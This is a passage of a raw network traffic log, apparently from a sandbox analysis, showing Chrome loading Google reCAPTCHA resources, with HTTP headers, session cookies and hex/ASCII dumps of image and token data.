2024-03-15 12:57:59 UTC	882	IN	Data Raw: 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 20 30 25 20 30 25 2f 31 30 30 25 20 31 30 30 25 3b 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 69 6d 61 67 65 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c Data Ascii: go_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.googl
2024-03-15 12:57:59 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.17	49748	142.250.80.36	443	6220	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-15 12:57:59 UTC	1028	OUT	GET /recaptcha/api2/payload?p=06AFcWeA5e-va39F3VfbbSi0oottIg7ALlUDZb-nWwVX1-unQSuzFdKkA8yRqHnNqEBBnJoUfel3lJWlGL6UqRrnl-XaGVrxZtdN4xwznjD5t4FYX8Qa5d8b7bqYbtsJzJaNpYo6dV0hAJxLq1umrkqdrEO38PvgeW_BjrVXuD7_yWHYVbGHdeIkpvf7X_IAdl8hzhcTFabA6ze8v_n5WmmZcTZRtqU1EYWA&k=6LfwuyUTAAAAAOAmoS0fdqijC2PbbdH4kjq62Y1b&id=2 HTTP/1.1 Host: www.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlqHLAQiFoM0BCLnKzQEIitPNAQjB1M0BCLrYzQEY9snNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _GRECAPTCHA=09ANeNL0QEMEzo5QBM1E_3j3VUfv8QK1_-jo1qLF-6Y6i5fj0WNNPfF49xwKDYO1D1PeBU0u0xUNQq4HeGwyPsFpQ; NID=511=X9Z9GC2VZ5PTUFlYUNdhKnJP24TRGpGqZqKFL9Pw-Ezk_duysZ_VzzYNGWyHcs80O3scFIEGWC4ejePhlgeAzI7DW28lCxtFqnZqwLPsW3aG59Guvp647PtH9EGoiqhxBjO7Es0rJ7PDVhdGCfedVrlCik0Vmojg2gUg6Tqi0JI
2024-03-15 12:57:59 UTC	419	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Expires: Fri, 15 Mar 2024 12:57:59 GMT Date: Fri, 15 Mar 2024 12:57:59 GMT Cache-Control: private, max-age=30 Transfer-Encoding: chunked X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-03-15 12:57:59 UTC	6	IN	Data Raw: 38 39 41 35 0d 0a Data Ascii: 89A5
2024-03-15 12:57:59 UTC	1252	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 02 00 00 01 00 01 00 00 ff db 00 43 00 05 03 04 04 04 03 05 04 04 04 05 05 05 06 07 0c 08 07 07 07 07 0f 0a 0b 09 0c 11 0f 12 12 11 0f 11 10 13 16 1c 17 13 14 1a 15 10 11 18 21 18 1a 1c 1d 1f 1f 1f 13 17 22 24 22 1e 24 1c 1e 1f 1e ff db 00 43 01 05 05 05 07 06 07 0e 08 08 0e 1e 14 11 14 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e ff c0 00 11 08 01 c2 01 c2 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 Data Ascii: JFIFC!"$"$C"}!1AQa"q2
2024-03-15 12:57:59 UTC	1252	IN	Data Raw: de 79 66 c8 2f 3c 89 c0 1e d5 eb 12 eb fa 2f 85 2c b0 96 cf 24 d8 cb 39 5e 49 ac 9f 14 7c 42 f0 e6 8d 68 da 76 9c 62 1f 29 5c af 18 f7 af 29 3e 24 82 fa ea 5f 3e ec 3a 1e 54 13 c0 ad 1c 9a d8 cd 45 4d 7b c6 bf 8d be 23 dd ea f2 b2 c7 69 72 b1 64 85 5d bc 57 98 6a 23 53 d4 6f 3c e7 b6 70 80 f0 31 8a ef 56 fb 4c 04 66 58 48 eb d4 53 fe df a5 4c 4f ef 22 1d b1 44 6c 9d c6 fb 1e 77 a8 4d 65 6b 0e c9 2c 94 4b ea 2b 0e e7 54 c1 cc 50 2a 8f f6 ab d4 e6 b0 d0 2e d8 f9 cb 19 f7 cf 35 91 7f e1 3d 0e f5 bf 77 20 8b dc 35 6a a5 14 67 28 1e 39 e2 6b 89 a7 b4 99 9f 60 1b 4f 41 5e 5e f9 0c 71 d2 be 9f be f8 77 64 d6 73 84 bc 56 66 42 14 1a f9 c7 c4 9a 7c 9a 6e a7 3d 9c 8b b5 a3 72 31 5a d3 9d f4 39 a7 09 2d 4c c7 76 60 01 60 05 35 4b ef 50 17 86 20 03 9a 30 49 03 03 9c Data Ascii: yf/</,$9^I\|Bhvb)\)>$_>:TEM{#ird]Wj#So<p1VLfXHSLO"DlwMek,K+TP*.5=w 5jg(9k`OA^^qwdsVfB\|n=r1Z9-Lv``5KP 0I
2024-03-15 12:57:59 UTC	1252	IN	Data Raw: dc e9 57 47 32 5d 40 c5 b9 39 3d ea d5 ab 68 71 ae 02 44 f9 1c f0 2b ca a4 d0 f5 a8 63 0c d0 49 b7 19 eb 5e 9d f0 cb c3 b6 31 69 47 54 d5 e7 f3 24 63 fb b8 33 db de 93 8d ba 94 a6 99 62 ed b4 58 e2 2f f6 35 76 3d 02 8c 56 70 92 cb 7a ac 36 50 2b 39 e8 4e 4a d4 9e 2e bb b6 67 78 ed 94 46 01 fe 1e 95 85 e1 c2 d3 5d 96 62 4f cd c5 4f 34 10 ac db 3b 48 b4 9b 29 94 65 11 88 19 25 49 c5 58 5d 02 c1 e1 3e 5f de 51 9d 8a d8 cd 5e b7 9a ca de c3 e6 1b 08 1c b5 79 ff 00 8d b5 eb b8 ee d6 5b 09 80 08 38 54 38 ac a9 42 73 9d fa 1b 55 74 d4 6d d4 e9 67 b3 b0 b6 38 9e 3b 85 1e ed 8a e2 3c 73 e0 cf 0e 78 89 b7 43 fe 8b 73 d9 f3 d7 eb 5a d6 3a db f8 9f 46 36 37 33 ac 57 2a 30 af d0 a9 f7 ae 50 d9 dd c1 7d 24 07 53 55 91 1b 9d f5 d2 e9 ca 0e e8 e6 ba 92 b3 38 dd 67 e1 16 Data Ascii: WG2]@9=hqD+cI^1iGT$c3bX/5v=Vpz6P+9NJ.gxF]bOO4;H)e%IX]>_Q^y[8T8BsUtmg8;<sxCsZ:F673W*0P}$SU8g
2024-03-15 12:57:59 UTC	342	IN	Data Raw: aa 5a c6 ea 39 3d b2 29 2a 51 de e3 f6 8e 3a 58 b5 aa 78 9f 47 92 75 96 19 1f 72 f6 c5 5b b0 f1 7e 91 34 7b 65 62 86 b8 8d 67 c3 1a a5 88 3b ad c9 da 32 58 57 3a d1 cc 1f 0e 8c b8 ab 74 bb 13 ed 96 cd 1e a1 e2 3d 6a d6 ee dd 23 d3 e5 66 57 3c 83 d3 15 62 cb 50 30 58 37 cc 70 57 18 cf 4a e0 22 b9 fb 1c 0a 18 1f 94 71 52 c5 a9 cb 2e 9d 33 86 3b 56 b9 dc 64 dd 8d 14 e2 95 d1 b1 a9 4c d2 be 4d c1 00 9c 9c 1a b9 a0 5d 08 65 50 0f 4e e6 bc ee ef 51 94 93 b9 db 3e 80 d3 60 d6 2e 94 82 ae 7e b9 aa fa b4 a4 86 b1 11 8e a7 af 6a da 93 cb 6a f0 2c 98 dd d6 b9 39 ac ee 67 9b 73 48 a6 b9 65 d7 6f cf 56 cd 69 5a 6b b2 86 c1 20 e2 ba 29 d2 9d 38 ec 65 52 ac 66 f7 3b 2d 0b 48 58 dc 4e 66 08 c7 83 ef 5a 1a e6 89 a5 35 c9 ba ba 49 5d 5d 06 19 3a e7 be 6b 98 6d 46 5b bb 50 Data Ascii: Z9=)*Q:XxGur[~4{ebg;2XW:t=j#fW<bP0X7pWJ"qR.3;VdLM]ePNQ>`.~jj,9gsHeoViZk )8eRf;-HXNfZ5I]]:kmF[P
2024-03-15 12:57:59 UTC	1252	IN	Data Raw: d2 39 a4 ac ec 71 42 c6 fa 79 c2 3d f1 1f ef 13 4e bc d0 af 02 61 2f 92 45 ef f3 57 69 a8 da dd 7d e9 e2 b5 4e 3a 8a af 6b 7f 6b 64 76 4d 61 1c d8 ea 47 35 57 b6 c4 5b 99 6a 70 df d8 97 ad fd c2 07 fb 40 d2 4b a3 fc 87 cd b5 53 8e e3 15 e8 89 a9 68 d7 1c b6 91 e5 71 d4 1a af 76 ba 3c a3 8b 39 90 7a 83 9a af 68 2f 66 79 af f6 55 90 24 bc 0d 9a 17 46 d3 a4 39 1b d3 f0 ae da e3 4d d3 19 4b 2c 77 01 bd c7 6a cd 7b 20 ac 7e cf bc 9e c0 ad 5f 3d c3 95 23 07 fe 11 3b 19 ba 5c 85 3e e2 81 e0 95 27 11 cd 0b 0f 72 05 6f 09 2e ed c6 1a 05 23 dd 69 d0 5d c4 ed fb d8 40 23 db 14 73 b2 1c 62 73 6f e0 ab 80 7e 51 13 7d 18 55 79 fc 25 71 17 fc b2 5c 7b 1a ef 6d ef 74 8c 6d 9a de 5e 7a ed 26 99 72 da 2c a4 08 d6 e5 3e a4 d4 aa a2 74 d1 e7 8f e1 d9 51 b9 87 9e de f4 d5 d0 Data Ascii: 9qBy=Na/EWi}N:kkdvMaG5W[jp@KShqv<9zh/fyU$F9MK,wj{ ~_=#;\>'ro.#i]@#sbso~Q}Uy%q\{mtm^z&r,>tQ
2024-03-15 12:57:59 UTC	1252	IN	Data Raw: 71 dc d7 a0 5a dc a4 1a 72 44 38 6d 9b bf 3a f9 bc c5 b9 56 8c 4f 5f 06 92 83 66 cb f8 62 e2 67 f3 2d af 48 dd ce 37 70 0d 29 f0 df 88 20 5f 92 fc 9f c6 b9 5b 3d 5a ea 19 77 2d c4 9d 7a 67 81 5b d6 be 29 bb 8b 00 dc 47 26 3d 4e 2b d6 84 5a 8a d0 e3 93 e6 6d dc 4b ed 27 c4 c2 22 92 6e 94 11 d4 56 42 d9 6b 76 4f 96 81 8f a8 23 35 d4 c3 e3 02 3f d6 a6 ef a3 55 d8 3c 4f a6 ca 33 34 27 df 8c d5 df b9 2d 3e e7 21 25 f5 f1 e1 ec 30 3d 71 44 7a 97 97 8f 36 17 5f 50 3a 57 7d fd b3 a2 4c 15 86 c4 50 3a 15 a8 e4 ff 00 84 7f 50 0c 08 8d b3 ed 43 9a 0e 56 71 23 5b 89 98 a9 66 51 e9 5a 7a 76 b1 a7 45 83 26 d9 3d 88 e9 5b 47 c3 1a 4c 9f 34 4a 78 e9 4d 5f 06 e9 b9 fb cc 38 ec 68 6e e4 b8 b2 8d ce a7 a7 de 29 09 6d 18 c8 c7 27 ad 63 5e ac 04 ff 00 c7 ac 63 1f dd 35 bb 77 Data Ascii: qZrD8m:VO_fbg-H7p) _[=Zw-zg[)G&=N+ZmK'"nVBkvO#5?U<O34'->!%0=qDz6_P:W}LP:PCVq#[fQZzvE&=[GL4JxM_8hn)m'c^c5w
2024-03-15 12:57:59 UTC	1252	IN	Data Raw: 81 37 28 0c 50 0f 7a f3 cf 83 be 08 d4 75 cb 83 7d 69 71 0c 3e 49 eb 21 c0 35 f4 1e 8b e0 eb bd 2e cd 65 9e 45 b8 92 41 cb 2a 65 57 f1 ae 59 e0 9c ea 29 97 0c 42 85 37 1e a7 17 0f 86 ac 12 32 59 53 9e 87 d2 a9 4f e0 9b 69 f2 d0 ce 06 7b 83 5d e5 de 92 97 0e c8 54 64 03 b5 83 6d e6 a3 b6 d1 e2 80 03 e6 a3 36 79 5c f0 71 5d 6b 0d 53 a1 83 ab 04 ac cf 32 d4 7c 19 79 68 b9 86 72 eb f5 ac 1b 8b 6d 56 d1 bc b9 1e 41 8f e2 c5 7d 07 0c 36 57 18 0d 64 61 65 ef f7 90 d4 1a cf 87 22 d4 ad 9e 22 2c c0 3d 08 4d a4 56 8a 83 5b a3 3f 6b 6d 8f 0a b5 b6 bd b9 1b 5a e5 b1 f4 ab 69 a3 df 21 0d 1d e3 83 ed 5d a6 ad e0 ad 67 4c b6 f3 ec 0a cf 83 ca f7 c7 b5 61 c7 7f 76 8f b2 e2 db 0c 38 ac 67 4a 4b a1 a4 2a 29 69 71 2d a0 d6 a1 45 03 50 70 05 4a f2 eb ab 93 f6 ed c3 d0 9a e9 Data Ascii: 7(Pzu}iq>I!5.eEAeWY)B72YSOi{]Tdm6y\q]kS2\|yhrmVA}6Wdae"",=MV[?kmZi!]gLav8gJK)iq-EPpJ
2024-03-15 12:57:59 UTC	1252	IN	Data Raw: c5 33 91 f1 03 c1 02 32 8c 7d 2b cd f5 f9 d1 99 be b5 d3 f8 91 e6 2e f9 24 f6 fa d7 0d ab 24 99 39 c8 f5 15 10 9b 4f 52 e5 49 5b 43 0b 50 60 5c 81 eb eb 59 92 65 98 03 9a d1 96 16 32 63 9a 7a 59 af 53 93 5d 4a 68 e7 92 95 ac 8e c3 e1 b7 8e df c2 40 e6 14 98 30 e1 5c f1 9a f7 4f 05 fc 44 93 c5 36 46 1d 4a f5 ac e3 76 ca 24 6b 85 1f 8d 7c a7 7d 08 dc 02 ae 71 5e e9 e0 ab 78 d3 c3 f6 86 3e 86 30 4b 77 ae 9a 0e da 98 4e e9 59 9e d1 61 e1 06 bc 53 2d 86 a8 97 6a 79 0b fc 42 ab 5f e8 d3 69 aa 7e d3 67 26 ec e0 80 08 ae 3b 4b d5 b5 0d 36 45 96 ce fa 58 98 7f 74 d7 63 67 e3 1d 4a fa 02 97 d7 0b 2e 46 0e e0 39 ae f8 62 da f8 91 84 a9 5f 54 ca 91 4d 6c 01 16 d7 e6 09 07 58 a4 38 ac fd 4b 58 be b4 6f de a2 ba 7f 7c 74 ac 3f 1c d9 dc 5c 3b 5c 28 c4 25 72 0a 7a d7 16 Data Ascii: 32}+.$$9ORI[CP`\Ye2czYS]Jh@0\OD6FJv$k\|}q^x>0KwNYaS-jyB_i~g&;K6EXtcgJ.F9b_TMlX8KXo\|t?\;\(%rz
2024-03-15 12:57:59 UTC	1252	IN	Data Raw: 58 8f 39 3c d5 d8 66 64 1f ce 9c a9 89 4d a1 de 24 31 8c 91 d2 b8 fd 40 46 ea 47 52 7d ab a3 d4 cb 4a 0f a5 60 cf 6c ec fd 6b 17 42 ee e7 54 6b ae a7 3b 2d be 49 c2 e3 de 83 03 92 02 f4 c5 74 69 a6 6f c7 1f 53 56 a0 d3 21 8f 1b 90 93 ef 5a 46 8b 26 75 92 31 7c 37 a2 a5 dd c4 ed 38 25 54 63 1e a6 bd 5f c3 f6 ab 65 a4 5b db 87 c8 54 c5 71 7a 6a af d9 e6 24 f9 7b db 00 8e 3d ab a6 d3 e4 29 6c 88 18 90 ab 8c fa d7 5c 15 91 c3 39 f3 32 f5 c5 c1 8e 42 a3 91 4c 1a 9b 46 fb 91 f1 eb 55 a6 93 83 54 e4 00 a3 b6 3b 55 b0 b9 da f8 73 53 97 53 b4 b8 b7 91 83 46 07 43 de b9 bf 11 69 80 5a ca 79 92 10 72 57 1d 33 dc 51 e1 5b b8 ed 24 48 cb 60 c8 6b 42 e5 bc db 69 89 c9 28 c5 38 fe ef ad 75 e1 6b 3a 72 30 ab 4d 4d 6a 70 1a 45 d3 e9 f7 cd 69 72 03 5b cb 91 9e c4 7a d5 6f Data Ascii: X9<fdM$1@FGR}J`lkBTk;-ItioSV!ZF&u1\|78%Tc_e[Tqzj${=)l\92BLFUT;UsSSFCiZyrW3Q[$H`kBi(8uk:r0MMjpEir[zo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.17	49749	142.250.65.164	443	6220	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-15 12:58:06 UTC	1251	OUT	POST /recaptcha/api2/replaceimage?k=6LfwuyUTAAAAAOAmoS0fdqijC2PbbdH4kjq62Y1b HTTP/1.1 Host: www.google.com Connection: keep-alive Content-Length: 5975 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded;charset=UTF-8 Accept: / Origin: https://www.google.com X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlqHLAQiFoM0BCNy9zQEIksrNAQi5ys0BCLbLzQEI6dLNAQiK080BCMHUzQEIz9bNAQjj1s0BCI7XzQEIp9jNAQi62M0BCPnA1BUYuL/NARj2yc0BGOuNpRc= Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.google.com/recaptcha/api2/bframe?hl=en&v=07g0mpPGukTo20VqKa8GbTSw&k=6LfwuyUTAAAAAOAmoS0fdqijC2PbbdH4kjq62Y1b Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _GRECAPTCHA=09ANeNL0QEMEzo5QBM1E_3j3VUfv8QK1_-jo1qLF-6Y6i5fj0WNNPfF49xwKDYO1D1PeBU0u0xUNQq4HeGwyPsFpQ; NID=511=X9Z9GC2VZ5PTUFlYUNdhKnJP24TRGpGqZqKFL9Pw-Ezk_duysZ_VzzYNGWyHcs80O3scFIEGWC4ejePhlgeAzI7DW28lCxtFqnZqwLPsW3aG59Guvp647PtH9EGoiqhxBjO7Es0rJ7PDVhdGCfedVrlCik0Vmojg2gUg6Tqi0JI
2024-03-15 12:58:06 UTC	5975	OUT	Data Raw: 76 3d 30 37 67 30 6d 70 50 47 75 6b 54 6f 32 30 56 71 4b 61 38 47 62 54 53 77 26 63 3d 30 33 41 46 63 57 65 41 37 7a 4b 61 67 6c 4a 79 48 7a 77 7a 70 36 4e 5f 35 70 69 42 56 4e 5a 79 75 48 33 69 42 36 77 48 76 37 75 64 32 62 34 65 44 5f 34 64 51 6e 66 38 50 58 33 35 4c 4b 36 52 36 55 5f 6d 4c 33 4a 70 46 6d 44 61 59 4b 4d 4d 36 43 44 6b 38 44 67 75 59 4d 4e 45 72 53 70 64 70 48 74 6d 4c 69 42 4e 34 48 4b 52 74 46 6a 53 37 4f 5a 73 59 51 32 49 4e 5a 41 64 61 50 55 73 78 53 36 47 79 61 45 44 57 74 5a 61 34 42 2d 5a 2d 78 61 42 71 42 74 53 42 49 41 33 46 5a 4b 49 73 35 43 6c 77 7a 69 70 36 6d 72 61 64 6b 76 61 33 52 5f 73 5a 78 39 66 42 4e 59 7a 62 50 46 69 50 78 71 4c 49 4d 38 45 68 72 38 6b 74 4b 34 5f 6d 35 4c 70 31 45 31 42 71 42 74 50 78 79 68 65 44 4a Data Ascii: v=07g0mpPGukTo20VqKa8GbTSw&c=03AFcWeA7zKaglJyHzwzp6N_5piBVNZyuH3iB6wHv7ud2b4eD_4dQnf8PX35LK6R6U_mL3JpFmDaYKMM6CDk8DguYMNErSpdpHtmLiBN4HKRtFjS7OZsYQ2INZAdaPUsxS6GyaEDWtZa4B-Z-xaBqBtSBIA3FZKIs5Clwzip6mradkva3R_sZx9fBNYzbPFiPxqLIM8Ehr8ktK4_m5Lp1E1BqBtPxyheDJ
2024-03-15 12:58:07 UTC	483	IN	HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8 X-Content-Type-Options: nosniff Date: Fri, 15 Mar 2024 12:58:06 GMT Expires: Fri, 15 Mar 2024 12:58:06 GMT Cache-Control: private, max-age=0 X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-03-15 12:58:07 UTC	769	IN	Data Raw: 61 36 33 0d 0a 29 5d 7d 27 0a 5b 22 64 72 65 73 70 22 2c 22 30 33 41 46 63 57 65 41 37 78 48 6d 30 4c 51 6b 43 6c 32 6f 57 74 70 44 66 76 38 6f 77 6a 57 75 6d 5a 76 42 58 79 77 32 4d 6c 64 41 69 39 64 6a 52 6e 65 6c 35 51 58 6f 6e 68 6c 6f 58 6f 52 63 61 64 45 47 38 46 38 78 70 57 41 61 45 54 59 35 4d 48 38 6c 79 6e 39 5a 77 54 69 46 68 37 45 49 61 79 79 71 36 45 63 37 72 77 66 7a 6f 34 4a 63 34 6e 4a 61 74 6a 54 46 31 59 7a 73 50 51 59 50 75 5f 65 62 75 6a 45 48 51 54 55 55 75 4b 41 69 4c 72 6c 57 6a 51 32 78 6b 6f 38 6e 6d 4b 78 66 4f 72 37 67 48 5a 54 55 32 79 55 56 62 52 42 49 42 71 43 70 76 69 72 34 6e 46 39 58 44 69 79 50 62 75 31 61 68 69 51 48 76 41 68 30 57 67 59 50 7a 4f 64 78 78 7a 5f 36 46 4d 38 4b 4e 76 59 31 6e 55 51 4f 4c 6b 77 66 62 69 44 Data Ascii: a63)]}'["dresp","03AFcWeA7xHm0LQkCl2oWtpDfv8owjWumZvBXyw2MldAi9djRnel5QXonhloXoRcadEG8F8xpWAaETY5MH8lyn9ZwTiFh7EIayyq6Ec7rwfzo4Jc4nJatjTF1YzsPQYPu_ebujEHQTUUuKAiLrlWjQ2xko8nmKxfOr7gHZTU2yUVbRBIBqCpvir4nF9XDiyPbu1ahiQHvAh0WgYPzOdxxz_6FM8KNvY1nUQOLkwfbiD
2024-03-15 12:58:07 UTC	1252	IN	Data Raw: 42 34 32 6d 6d 54 6d 68 34 35 5f 4c 35 6a 61 67 49 55 50 39 52 72 78 47 2d 42 75 43 51 68 4f 76 58 6e 63 61 7a 48 30 72 37 73 66 6c 32 31 5f 51 48 2d 65 50 43 79 57 30 37 71 4c 67 69 2d 36 54 45 6a 6b 2d 63 76 48 48 56 4d 38 74 4a 54 49 4f 42 6c 33 6a 36 63 67 55 51 58 67 7a 54 4a 42 37 56 43 4e 49 41 47 36 54 43 4e 49 55 59 4a 32 78 70 6b 71 50 2d 6f 56 66 56 68 32 39 53 31 78 77 44 47 4e 31 74 46 63 63 75 72 4a 30 61 62 70 39 79 4b 42 49 50 37 72 59 48 67 41 78 56 42 32 6f 6b 75 4d 31 55 70 68 6e 71 76 63 68 37 41 4c 7a 46 4a 2d 7a 2d 55 51 72 71 50 5a 69 46 67 74 79 69 47 69 76 51 66 7a 61 44 38 7a 79 56 77 44 32 38 33 4b 6a 67 65 39 61 46 62 66 5a 6f 77 72 6d 4d 31 54 64 63 5a 6e 65 53 6d 37 6f 7a 54 62 70 75 44 72 77 35 63 78 5a 7a 38 5f 72 56 56 35 Data Ascii: B42mmTmh45_L5jagIUP9RrxG-BuCQhOvXncazH0r7sfl21_QH-ePCyW07qLgi-6TEjk-cvHHVM8tJTIOBl3j6cgUQXgzTJB7VCNIAG6TCNIUYJ2xpkqP-oVfVh29S1xwDGN1tFccurJ0abp9yKBIP7rYHgAxVB2okuM1Uphnqvch7ALzFJ-z-UQrqPZiFgtyiGivQfzaD8zyVwD283Kjge9aFbfZowrmM1TdcZneSm7ozTbpuDrw5cxZz8_rVV5
2024-03-15 12:58:07 UTC	645	IN	Data Raw: 4f 73 4e 36 72 54 72 59 42 70 55 6b 72 4e 4c 6c 75 47 4f 4f 5f 70 31 49 49 44 77 6c 53 54 41 74 33 70 68 45 6a 72 58 38 30 73 61 42 67 4e 45 41 31 74 53 6e 4f 72 52 48 4a 32 76 64 63 67 42 63 37 31 57 6c 68 41 2d 69 39 66 4f 4f 56 62 31 5f 56 42 55 69 5f 35 35 62 42 53 30 64 41 45 71 6f 39 59 6f 54 58 5a 51 34 6e 54 7a 52 43 43 6a 77 76 70 59 43 5f 66 6f 48 30 44 44 4c 64 65 65 42 53 70 63 65 34 30 43 74 37 53 76 30 36 48 59 7a 6b 64 35 75 54 33 31 68 79 68 4a 4d 70 77 39 49 75 78 46 50 47 6d 76 4e 66 62 44 6c 39 4a 56 38 65 36 58 73 72 7a 37 41 74 31 6f 6b 65 70 31 66 41 56 53 75 36 4a 77 68 57 70 63 45 65 53 53 6e 31 6b 4e 41 39 39 63 64 6c 6d 67 66 65 64 75 56 53 4d 79 4b 6a 72 7a 71 66 63 37 35 76 64 50 61 35 4b 6b 49 34 78 63 66 4b 31 36 78 51 5f 6f Data Ascii: OsN6rTrYBpUkrNLluGOO_p1IIDwlSTAt3phEjrX80saBgNEA1tSnOrRHJ2vdcgBc71WlhA-i9fOOVb1_VBUi_55bBS0dAEqo9YoTXZQ4nTzRCCjwvpYC_foH0DDLdeeBSpce40Ct7Sv06HYzkd5uT31hyhJMpw9IuxFPGmvNfbDl9JV8e6Xsrz7At1okep1fAVSu6JwhWpcEeSSn1kNA99cdlmgfeduVSMyKjrzqfc75vdPa5KkI4xcfK16xQ_o
2024-03-15 12:58:07 UTC	1252	IN	Data Raw: 64 62 38 0d 0a 65 79 31 37 48 50 59 37 4d 35 6c 6b 41 31 37 67 4a 79 69 57 70 59 65 2d 39 64 64 45 34 53 5f 43 59 66 36 6a 2d 74 49 44 53 58 6d 33 78 78 57 31 4d 59 76 76 59 6d 42 4f 71 6b 42 59 45 6a 2d 4f 30 57 63 48 2d 44 2d 5a 33 37 64 33 74 77 72 77 64 6b 6e 63 2d 4c 4a 33 34 48 70 30 73 6c 62 54 49 49 4a 51 49 78 4c 64 2d 62 38 6e 5f 5a 78 4e 74 75 5a 68 41 51 56 74 57 64 57 52 77 68 58 6b 46 38 76 59 30 36 34 56 68 4a 6f 48 6e 43 39 58 7a 6a 44 6c 32 30 72 71 4a 6c 71 75 68 47 48 53 46 32 44 71 58 66 31 33 39 56 37 57 66 57 59 5a 6d 54 5a 75 4c 31 53 45 73 41 36 4d 59 54 33 4a 59 4c 66 63 70 55 7a 46 4b 57 68 78 32 35 71 50 45 63 67 4a 30 51 46 4a 55 56 44 52 6c 73 48 47 49 70 74 6d 34 51 66 6e 57 47 45 6b 6a 51 31 38 5f 42 71 73 61 39 4d 36 64 69 Data Ascii: db8ey17HPY7M5lkA17gJyiWpYe-9ddE4S_CYf6j-tIDSXm3xxW1MYvvYmBOqkBYEj-O0WcH-D-Z37d3twrwdknc-LJ34Hp0slbTIIJQIxLd-b8n_ZxNtuZhAQVtWdWRwhXkF8vY064VhJoHnC9XzjDl20rqJlquhGHSF2DqXf139V7WfWYZmTZuL1SEsA6MYT3JYLfcpUzFKWhx25qPEcgJ0QFJUVDRlsHGIptm4QfnWGEkjQ18_Bqsa9M6di
2024-03-15 12:58:07 UTC	1252	IN	Data Raw: 38 6e 55 36 79 41 69 34 76 33 38 74 73 38 6a 38 72 4a 48 55 66 31 72 31 55 73 7a 63 6e 5a 69 39 38 59 32 70 48 67 5f 64 4b 41 62 54 70 64 6e 31 4b 75 39 74 41 46 30 6d 47 73 72 47 6e 53 30 58 36 56 47 30 48 2d 78 4d 6b 66 2d 59 51 63 34 42 6e 54 6e 53 69 41 2d 79 53 52 31 49 2d 35 73 35 54 70 4b 48 52 43 4a 63 4e 2d 73 45 64 6b 6b 55 69 36 66 32 35 4d 30 2d 62 65 58 57 4e 32 47 77 39 66 63 66 38 4c 61 63 42 69 73 41 46 51 62 47 4f 6c 33 6e 65 64 41 55 4d 72 56 32 43 6b 38 45 45 64 54 33 66 4b 59 71 69 6e 6b 46 65 6d 6a 73 64 5f 62 41 66 58 4f 65 72 66 6a 46 46 73 4a 33 72 79 44 6f 2d 65 70 50 52 78 38 64 71 4d 74 65 6a 4e 4c 68 48 5a 6d 65 42 38 49 71 70 2d 74 5a 72 35 6e 6e 33 66 77 52 5f 50 4e 50 4f 57 34 48 51 4a 59 75 41 5a 5a 6a 52 6e 76 6b 73 5a 61 Data Ascii: 